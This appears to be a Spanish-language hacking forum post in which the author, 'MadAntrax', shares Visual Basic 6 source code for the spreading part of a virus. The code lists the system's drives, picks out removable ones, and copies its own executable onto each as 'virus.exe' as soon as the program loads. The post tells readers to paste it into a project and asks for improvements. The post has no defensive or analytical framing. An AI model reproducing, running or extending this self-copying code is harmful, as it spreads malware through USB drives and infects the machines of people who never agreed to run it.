Este sencillo código permite enumerar todas las unidades del sistema, descubrir de que tipo son (fijas, extraibles, CD, remotas, etc...) y copiar el virus en su interior.
Private Declare Function GetLogicalDrives Lib "kernel32" () As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Const DRIVE_REMOVABLE = 2
Const DRIVE_FIXED = 3
Const DRIVE_REMOTE = 4
Const DRIVE_CDROM = 5
Const DRIVE_RAMDISK = 6
'Función para enumerar todas las unidades (sean del tipo que sean)
Function EnumDrives() As String
Dim i As Long
Dim tmp As Long
Dim drives As String
tmp = GetLogicalDrives()
If tmp Then
For i = 0 To 25
If (tmp And 2 ^ i) <> 0 Then
drives = drives & Chr$(i + 65) & ":#"
End If
Next
End If
EnumDrives = drives
'La variable drives almacena todas
'las unidades en formato "A:#C:#D:#E:#"
End Function
Function GetType(ByVal drives As String)
Dim tmp() As String
'Separamos las unidades según el caracter #
tmp = Split(drives, "#")
For i = 0 To UBound(tmp) - 1
If GetDriveType(tmp(i)) = DRIVE_REMOVABLE Then
'Llamamos a la función de infectar la unidad
'si es del tipo DRIVE_REMOVABLE
Call InfectDrive("virus.exe", tmp(i))
End If
Next
End Function
Function InfectDrive(ByVal FileName As String, ByVal drive As String) As Boolean
'Importante, no siempre tenemos acceso de escritura
'en las unidades, sin esta linea podríamos "matar"
'nuestro virus :(
On Error Resume Next
Dim MySelf As String
MySelf = String$(255, Chr$(0))
'Obtenemos nuestra propia ruta
GetModuleFileName 0, MySelf, Len(MySelf)
'Nos copiamos en la unidad con el nombre de "virus.exe"
FileCopy MySelf, drive & "\" & FileName
End Function
Private Sub Form_Load()
'Empieza la juerga!
Call GetType(EnumDrives)
End Sub
El código está comentado y no tiene mucha complicación, copiar y pegar en un proyecto nuevo y os funcionará.
Decirme si os gusta, si se puede mejorar algo, añadir funciones, etc...
Saludos!! vuestro amigo
||MadAntrax||